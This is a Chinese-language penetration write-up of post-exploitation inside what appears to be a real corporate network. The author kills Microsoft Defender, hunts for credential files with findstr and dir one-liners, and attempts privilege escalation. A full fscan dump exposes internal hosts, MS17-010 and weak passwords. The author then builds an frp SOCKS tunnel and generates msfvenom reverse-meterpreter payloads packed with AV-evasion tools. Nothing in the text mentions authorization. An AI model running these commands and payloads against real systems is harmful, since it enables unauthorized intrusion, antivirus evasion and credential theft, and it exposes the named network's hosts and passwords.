1、首先使用CS自带插件提权,无法提权成功,且提权后,CS就失去主机控制,应该是提权进程被杀软发现(包括第三方提权插件都不行)。

fgqiutc5zdp14791.jpg

结束杀软进程

1、我们来尝试一下是否可以关闭杀软,通过上面信息知道杀软进程名MsMpEng.exe,通过进程对比可以发现,杀软已经被我们关闭了。

tskill MsMpEng
tasklist /svc

rghwjg0uobu14792.png

Windows-Exploit-Suggester

1、安装更新脚本

python2 -m pip install --user xlrd==1.1.0
python2 windows-exploit-suggester.py --update

2、将上面收集的systeminfo内容复制到systeminfo.txt,查找对应的漏洞

python2 ./windows-exploit-suggester.py --database 2023-02-06-mssb.xls --systeminfo systeminfo.txt

fa0oxf1kpx214794.jpg

3、将查找的exp上传测试提权,发现都不成功。

PEASS-ng

1、上传到目标机器,无法执行,被杀软发现了,虽然已经关闭杀软进程,但是过一会,杀软自启动

winPEASany.exe log=result.txt

hrf21125whb14795.jpg

查看SAM密码文件

1、SAM密码文件位置

system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM

2、由于不是管理员账号,无法查看

jsm1lhx1rt514796.jpg

windows敏感文件

1、查看最近打开的文档

dir %APPDATA%\Microsoft\Windows\Recent

2、递归搜索后面文件的password字段

findstr /si password  config.*  *.ini *.txt *.properties

3、递归查找当前目录包含conf的文件

dir /a /s /b "*conf*" > 1.txt

4、递归查找目录下的txt中的password字段

findstr /s /i /c:"Password" 目录\*.txt

5、递归查找目录下的敏感文件输出到桌面123.txt中

for /r 目录 %i in (account.docx,pwd.docx,login.docx,login*.xls) do @echo  %i >> C:\tmp\123.txt

6、指定目录搜索各类敏感文件

dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"

7、收集各类账号密码信息

findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

PrintSpoofer提权

1、执行命令PrintSpoofer.exe -i -c cmd无法提权

PrintSpoofer.exe -i -c cmd

y2qlhw3gt2j14807.jpg

横向渗透

fscan扫描

1、上传fscan,执行shell "C:/Users/appusr/fscan64.exe" -h 172.16.2.1/24,发现存活35个IP,扫出很多网站

(icmp) Target 172.16.2.5      is alive
(icmp) Target 172.16.2.9      is alive
(icmp) Target 172.16.2.11     is alive
(icmp) Target 172.16.2.20     is alive
(icmp) Target 172.16.2.37     is alive
(icmp) Target 172.16.2.38     is alive
(icmp) Target 172.16.2.45     is alive
(icmp) Target 172.16.2.46     is alive
(icmp) Target 172.16.2.47     is alive
(icmp) Target 172.16.2.32     is alive
(icmp) Target 172.16.2.33     is alive
(icmp) Target 172.16.2.31     is alive
(icmp) Target 172.16.2.60     is alive
(icmp) Target 172.16.2.70     is alive
(icmp) Target 172.16.2.72     is alive
(icmp) Target 172.16.2.80     is alive
(icmp) Target 172.16.2.81     is alive
(icmp) Target 172.16.2.86     is alive
(icmp) Target 172.16.2.84     is alive
(icmp) Target 172.16.2.85     is alive
(icmp) Target 172.16.2.82     is alive
(icmp) Target 172.16.2.100    is alive
(icmp) Target 172.16.2.111    is alive
(icmp) Target 172.16.2.117    is alive
(icmp) Target 172.16.2.120    is alive
(icmp) Target 172.16.2.83     is alive
(icmp) Target 172.16.2.138    is alive
(icmp) Target 172.16.2.146    is alive
(icmp) Target 172.16.2.150    is alive
(icmp) Target 172.16.2.170    is alive
(icmp) Target 172.16.2.190    is alive
(icmp) Target 172.16.2.195    is alive
(icmp) Target 172.16.2.200    is alive
(icmp) Target 172.16.2.87     is alive
(icmp) Target 172.16.2.254    is alive
[*] Icmp alive hosts len is: 35
172.16.2.38:22 open
172.16.2.120:21 open
172.16.2.20:22 open
172.16.2.37:22 open
172.16.2.150:21 open
172.16.2.117:22 open
172.16.2.82:22 open
172.16.2.111:22 open
172.16.2.81:22 open
172.16.2.72:22 open
172.16.2.70:22 open
172.16.2.45:21 open
172.16.2.60:22 open
172.16.2.37:80 open
172.16.2.11:80 open
172.16.2.200:22 open
172.16.2.83:22 open
172.16.2.150:22 open
172.16.2.170:22 open
172.16.2.146:22 open
172.16.2.138:22 open
172.16.2.120:80 open
172.16.2.84:80 open
172.16.2.81:80 open
172.16.2.85:80 open
172.16.2.86:80 open
172.16.2.70:80 open
172.16.2.60:80 open
172.16.2.87:22 open
172.16.2.11:135 open
172.16.2.20:135 open
172.16.2.5:135 open
172.16.2.83:80 open
172.16.2.200:80 open
172.16.2.170:80 open
172.16.2.82:80 open
172.16.2.117:80 open
172.16.2.11:139 open
172.16.2.20:139 open
172.16.2.9:139 open
172.16.2.5:139 open
172.16.2.195:135 open
172.16.2.190:135 open
172.16.2.100:135 open
172.16.2.84:135 open
172.16.2.195:139 open
172.16.2.190:139 open
172.16.2.170:139 open
172.16.2.150:139 open
172.16.2.120:139 open
172.16.2.100:139 open
172.16.2.84:139 open
172.16.2.60:139 open
172.16.2.84:443 open
172.16.2.85:443 open
172.16.2.86:443 open
172.16.2.80:443 open
172.16.2.72:443 open
172.16.2.70:443 open
172.16.2.60:443 open
172.16.2.11:443 open
172.16.2.87:443 open
172.16.2.9:445 open
172.16.2.5:445 open
172.16.2.170:443 open
172.16.2.83:443 open
172.16.2.120:443 open
172.16.2.82:443 open
172.16.2.81:443 open
172.16.2.170:445 open
172.16.2.150:445 open
172.16.2.120:445 open
172.16.2.100:445 open
172.16.2.84:445 open
172.16.2.60:445 open
172.16.2.20:445 open
172.16.2.11:445 open
172.16.2.5:5432 open
172.16.2.138:3306 open
172.16.2.38:3306 open
172.16.2.195:1433 open
172.16.2.190:1433 open
172.16.2.11:1433 open
172.16.2.195:445 open
172.16.2.190:445 open
172.16.2.100:8080 open
172.16.2.45:8080 open
172.16.2.9:135 open
172.16.2.86:8000 open
172.16.2.80:80 open
172.16.2.200:5432 open
172.16.2.111:5432 open
172.16.2.120:8080 open
172.16.2.150:9000 open
172.16.2.9:5432 open
172.16.2.85:8000 open

[+] received output:
172.16.2.20:88 open

[+] received output:
172.16.2.100:1099 open
172.16.2.80:2020 open
172.16.2.11:3128 open
172.16.2.120:3128 open

[+] received output:
172.16.2.11:7070 open
172.16.2.70:7070 open
172.16.2.100:7070 open
172.16.2.84:7070 open
172.16.2.100:8009 open

[+] received output:
172.16.2.120:8081 open
172.16.2.100:8083 open
172.16.2.80:8084 open

[+] received output:
172.16.2.72:8200 open
172.16.2.86:8300 open
172.16.2.85:8300 open
172.16.2.20:8443 open

[+] received output:
172.16.2.86:9080 open
172.16.2.85:9080 open
172.16.2.80:9084 open
172.16.2.80:9087 open

[+] received output:
172.16.2.150:9443 open
172.16.2.84:10001 open
172.16.2.84:10002 open

[+] received output:
[*] alive ports len is: 120
start vulscan
[*] NetInfo:
[*]172.16.2.100
   [->]AMEPROWEBEGAD
   [->]172.16.2.100
[*] NetInfo:
[*]172.16.2.84
   [->]ame-ro-nas
   [->]172.16.2.84
[*] NetInfo:
[*]172.16.2.5
   [->]db_ame
   [->]172.16.2.5
[*] NetInfo:
[*]172.16.2.9
   [->]backu
   [->]172.16.2.9
[*] NetInfo:
[*]172.16.2.11
   [->]Srv-Ant-Kas1
   [->]172.16.2.11
[*] WebTitle: https://172.16.2.11       code:200 len:102    title:None
[*] 172.16.2.9  (Windows Server 2003 3790 Service Pack 2)
[*] WebTitle: http://172.16.2.117       code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios: 172.16.2.190    AMEPRODBSIG01.ame.local             Windows Server 2016 Standard 14393 
[*] NetBios: 172.16.2.11     Srv-Ant-Kas1.ame.local              Windows Server 2012 Standard 9200 
[*] NetBios: 172.16.2.9      backup.ame.local                    Windows Server 2003 3790 Service Pack 2 
[*] WebTitle: https://172.16.2.82       code:302 len:222    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82/restgui/start.html
[*] WebTitle: http://172.16.2.120:3128  code:400 len:3157   title:ERROR: The requested URL could not be retrieved
[*] WebTitle: http://172.16.2.200       code:403 len:4897   title:Apache HTTP Server Test Page powered by CentOS
[*] WebTitle: http://172.16.2.84        code:401 len:0      title:None
[*] WebTitle: https://172.16.2.87       code:200 len:83     title:None
[+] Postgres:172.16.2.200:5432:postgres 123456
[*] WebTitle: http://172.16.2.80        code:301 len:0      title:None ÞÀ│Þ¢¼url: https://172.16.2.80:443/
[*] WebTitle: http://172.16.2.82        code:302 len:208    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82:443/
[*] 172.16.2.100  (Windows 10 Pro 19044)
[*] WebTitle: http://172.16.2.11        code:302 len:0      title:None ÞÀ│Þ¢¼url: https://172.16.2.11/
[*] WebTitle: http://172.16.2.83        code:302 len:208    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83:443/
[*] WebTitle: http://172.16.2.86        code:301 len:56     title:None ÞÀ│Þ¢¼url: https://172.16.2.86/
[*] WebTitle: http://172.16.2.81        code:302 len:208    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81:443/
[*] WebTitle: http://172.16.2.100:8083  code:404 len:0      title:None
[*] NetBios: 172.16.2.195    AMEPRODBSIG01P.ame.local            Windows Server 2016 Standard 14393 
[*] WebTitle: http://172.16.2.11:3128   code:404 len:196    title:404 Not Found
[*] WebTitle: https://172.16.2.83       code:302 len:222    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83/restgui/start.html
[*] WebTitle: https://172.16.2.86       code:200 len:258    title:None
[*] WebTitle: https://172.16.2.70       code:200 len:4149   title:Management
[*] WebTitle: http://172.16.2.150:9000  code:200 len:3509   title:Twonky Server
[*] WebTitle: https://172.16.2.85       code:200 len:258    title:None
[*] WebTitle: http://172.16.2.70        code:302 len:265    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.70/
[*] WebTitle: https://172.16.2.20:8443  code:302 len:83     title:None ÞÀ│Þ¢¼url: https://172.16.2.20:8443/Login/Index
[*] WebTitle: https://172.16.2.72       code:301 len:84     title:None ÞÀ│Þ¢¼url: https://172.16.2.72/appwall-webui
[*] WebTitle: https://172.16.2.80       code:200 len:3618   title:" + ID_VC_Welcome + "
[*] WebTitle: https://172.16.2.81       code:302 len:222    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81/restgui/start.html
[*] WebTitle: http://172.16.2.120       code:200 len:553    title:None
[*] WebTitle: http://172.16.2.37        code:302 len:0      title:None ÞÀ│Þ¢¼url: http://172.16.2.37/app_Login
[*] WebTitle: https://172.16.2.80:8084  code:501 len:0      title:None
[*] NetBios: 172.16.2.170    AME\SYNOLOGYAME                
[*] WebTitle: https://172.16.2.86:9080  code:202 len:0      title:None
[*] WebTitle: https://172.16.2.120      code:200 len:553    title:None
[*] WebTitle: https://172.16.2.120:8081 code:403 len:266    title:403 Forbidden
[*] WebTitle: https://172.16.2.80:9087  code:404 len:103    title:None
[*] WebTitle: http://172.16.2.80:9084   code:404 len:103    title:None
[*] WebTitle: http://172.16.2.45:8080   code:303 len:0      title:None ÞÀ│Þ¢¼url: http://172.16.2.45:8080/home.htm
[*] WebTitle: https://172.16.2.60       code:200 len:6391   title:None
[*] WebTitle: http://172.16.2.60        code:200 len:6391   title:None
[*] WebTitle: http://172.16.2.120:8080  code:403 len:266    title:403 Forbidden
[+] 172.16.2.5  MS17-010    (Windows Server 2003 3790 Service Pack 2)
[*] WebTitle: http://172.16.2.170       code:200 len:543    title:None
[*] 172.16.2.84  (Windows Storage Server 2016 Standard 14393)
[*] WebTitle: http://172.16.2.85        code:301 len:56     title:None ÞÀ│Þ¢¼url: https://172.16.2.85/
[*] 172.16.2.120  (Unix)
[*] 172.16.2.150  (Windows 6.1)
[*] 172.16.2.60  (Windows 6.1)
[*] NetBios: 172.16.2.120    NVR\NVRAME                          Unix 
[*] NetBios: 172.16.2.84     ame-pro-nas.ame.local               Windows Storage Server 2016 Standard 14393 
[*] NetBios: 172.16.2.60     AME\nas-60                          Windows 6.1 
[*] WebTitle: https://172.16.2.170      code:200 len:543    title:None

[+] received output:
[*] WebTitle: https://172.16.2.85/      code:200 len:258    title:None
[*] WebTitle: https://172.16.2.86/      code:200 len:258    title:None
[*] WebTitle: https://172.16.2.11/      code:200 len:102    title:None
[*] WebTitle: https://172.16.2.80:443/  code:200 len:3618   title:" + ID_VC_Welcome + "
[*] WebTitle: https://172.16.2.70/      code:200 len:4149   title:Management
[*] WebTitle: https://172.16.2.20:8443/Login/Index code:200 len:2839   title:Zentyal
[*] WebTitle: https://172.16.2.85:9080  code:202 len:0      title:None
[*] WebTitle: http://172.16.2.70:7070   code:404 len:201    title:None
[*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458   title:None
[+] InfoScan:https://172.16.2.80       [VMware vSphere] 
[*] WebTitle: https://172.16.2.83/restgui/start.html code:200 len:2458   title:None
[*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458   title:None
[*] WebTitle: http://172.16.2.72:8200   code:301 len:0      title:None ÞÀ│Þ¢¼url: http://172.16.2.72:8200/Console/
[*] WebTitle: http://172.16.2.72:8200/Console/ code:404 len:0      title:None
[*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458   title:None
[*] NetBios: 172.16.2.150    wdmycloud                           Windows 6.1 
[+] InfoScan:https://172.16.2.80:443/  [VMware vSphere] 
[*] WebTitle: https://172.16.2.72/appwall-webui/ code:200 len:4366   title:Radware Security Console
[*] WebTitle: http://172.16.2.45:8080/logon.htm code:200 len:2872   title:APC | Log On
[*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458   title:None
[*] WebTitle: http://172.16.2.37/app_Login/ code:200 len:860    title:None

[+] received output:
ÕÀ▓Õ«îµêÉ 65/121 [-] ftp://172.16.2.45:21 wwwroot 123456!a 421 Service not available, closing control connection.

[+] received output:
ÕÀ▓Õ«îµêÉ 109/121 [-] ssh 172.16.2.87:22 root a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

[+] received output:
[+] SSH:172.16.2.87:22:admin admin

[+] received output:
ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.70:22 admin test ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

[+] received output:
ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.150:22 admin a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

[+] received output:
ÕÀ▓Õ«îµêÉ 113/121 [-] ssh 172.16.2.38:22 admin abc123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

[+] received output:
ÕÀ▓Õ«îµêÉ 114/121 [-] ssh 172.16.2.117:22 admin 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

[+] received output:
ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 wwwroot 1 Permission denied.

[+] received output:
ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data 123456 Permission denied.

[+] received output:
ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data sysadmin Permission denied.

[+] received output:
ÕÀ▓Õ«îµêÉ 121/121
[*] µë½µÅÅþ╗ôµØƒ,ÞÇùµùÂ: 10m41.0832671s

2、fscan扫描出来的漏洞,一处postgres弱口令,一处ms17-010,一处ssh弱口令

Postgres:172.16.2.200:5432:postgres 123456
172.16.2.5  MS17-010    (Windows Server 2003 3790 Service Pack 2)
SSH:172.16.2.87:22:admin admin

frp代理

1、由于无法提权成功,所以我们决定换一种思路,先拿下内网中其他主机,提权到管理员权限,最后再对域控渗透。

2、服务器frps.ini设置

[common] 
bind_addr = 0.0.0.0 
bind_port = 7080 
token = admin123 
dashboard_user = admin 
dashboard_pwd = admin123

3、启动服务端

./frps -c ./frps.ini

wgtur5ckbyn14812.jpg

4、frpc.ini配置如下

[common] 
server_addr = xx.xx.xx.xx
server_port = 7080 
token = admin123 
tls_enable=true 
pool_count=5 

[plugin_socks] 
type = tcp 
remote_port = 4566
plugin = socks5 
plugin_user = admin 
plugin_passwd = admin123 
use_encryption = true 
use_compression = true

5、将frpc.exe和frpc.ini上传到受害机

6、CS中运行命令

shell "C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.exe -c C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.ini"

4qb3w4dcsgw14814.jpg

7、在服务器上可以看到,已经有连接返回了

440pkzvtd4j14819.jpg

8、在攻击机火狐浏览器foxyproxy插件中配置代理服务器

fipdxgt3wpy14824.jpg

9、在火狐浏览器中访问https://172.16.2.72/appwall-webui/成功,说明frp内网穿透成功

io2zwgx41iv14827.png

10、为了方便测试,使用proxifier作为全局代理


fxqmbauu01w14829.jpg

msf上线

1、因为扫出来一个ms17010,所以我们需要针对此漏洞进行利用,我选用目前公开的一些工具,虽然都没有免杀,但还是记录一下

kali linux

1、kali Linux中设置proxychains后无法使用,也没有找到原因,因为proxychains只支持http代理,我搭建的环境可以,但真实环境就不得行,搞不懂,有知道的大佬请指点一二,在下感激不尽!

潮汐在线免杀

1、Metasploit 生成 C

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c

ia4yeyahadx14835.jpg

3、将生成的shellcode添加到潮汐shellcode免杀中,生成exe文件

1dgouofejup14837.jpg

4、上传执行后被杀软杀掉

eabvlncwn5h14840.jpg

Ant-AntV免杀

1、msf生成bin文件

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=5555 -f raw -o 1.bin

lwkddbk4knm14845.png

2、将1.bin放到当前bean_raw路径下。执行python3 gen_trojan.py即可在当前dist目录下生成exe文件。

3、将exe文件上传到目标机器,执行shell C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/mail_update_a50ca.exe无法成功反弹shell,应该是被杀软杀了,因为我本地测试可以正常反弹

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.123.33
set LPORT 5555
exploit

sqebxnrgxg014851.jpgb2nxgwuanib14858.jpg

CuiRi免杀

1、msf生成shellcode

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c

2、生成免杀马

.\cuiri_win64.exe -f msf.txt

pgkda1z5gg114865.jpg

3、将生成的木马上传到目标主机,执行shell C:\usr\desarrollo\jboss-5.1.0.GA\server\sigAmeServer\deploy\ROOT.war\main.exe无法反弹shell,本地测试也是无法反弹shell

hf5s1te13yv14869.jpg

AniYa免杀

1、生成免杀马

2rnfgjjhtht14873.jpg

2、将exe文件上传执行,无法绕过杀软,在本地测试可以成功上线

vnd4c0p4nlu14876.jpg

Postgresql getshell

1、由于msf无法绕过杀软,我们决定从Postgresql入手,寻找突破点

2、开启proxifier代理工具

3、使用navicat连接postgresql

a3eeyoqjocn14883.jpg

4、但是该机器是centos系统,我们要找的是Windows系统,所以先放弃这条路。

ys3ejaksfyj14889.jpg

VMware vSphere

1、有网站使用的是VMware vSphere

jl4gafprvj114895.jpg

2、Google搜索一下VMware vSphere漏洞,有的版本存在RCE漏洞,决定尝试一下,发现不存在漏洞

ggk4dgx0mhi14901.jpg

总结

1、针对此次内网渗透,我需要抓紧学习免杀相关的知识,目前公开的工具已经不能byAV。

2、kali Linux的proxychains代理在实战无法使用,后面我要去寻找原因。

3、fscan扫描出内网一些网站,我没有做深入的测试,因为时间确实不够了。

原文链接: https://xz.aliyun.com/t/12141